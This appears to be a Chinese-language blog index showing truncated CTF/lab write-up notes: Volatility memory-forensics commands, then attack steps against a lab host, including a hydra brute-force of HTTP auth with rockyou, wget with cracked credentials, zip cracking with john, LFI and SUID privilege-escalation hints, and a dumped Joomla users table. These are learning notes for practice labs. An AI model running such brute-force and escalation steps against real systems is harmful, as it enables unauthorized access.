MoonlitSyntax

不写

默认用户名wampp:xampp cadaver上传文件

本地文件包含 其实感觉可以直接pear了 pear不行.测啊,没看tmp了,烦烦 find suid提权

操作系统vol -f victim.raw windows.infoSearchIndexer 的 PID 是什么vol -f victim.raw windows.pslist.PsList | grep Search用户最后访问的目录vol -f victim.raw windows.registry.hivelist(注册表文件)做不下去了 转 volatility2 volatility -f /dumps/victim.raw imageinfovolatility -f /dumps/victim.raw --profile=Win7SP1x64 pslistvolatility -f /dumps/victim.raw --profile=Win7SP1x64 shellbags扫端口volatility -f /dumps/victim.raw --profile=Win7SP1x64 netscan查找恶意进程volatility -f /dumps/victim.raw --profile=Win7SP1x64 malfinddump一下上面的恶意进程volatil ...

爆破发现secret.txt 接着爆破 hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 10.10.182.148 http-get 其实我想知道的是命令为什么是这样写的 又是joomla /language/en-GB/en-GB.xml 3.7版本 wget --user=joker --password=hannah http://10.10.182.148:8080/backup.zip 备份文件拉取下了,需要密码 zip2john file hashjohn hash 密码也是hannah 数据库里有 LOCK TABLES `cc1gr_users` WRITE;/*!40000 ALTER TABLE `cc1gr_users` DISABLE KEYS */;INSERT INTO `cc1gr_users` VALUES (547,'Super Duper User','admin','admin@example.com',' ...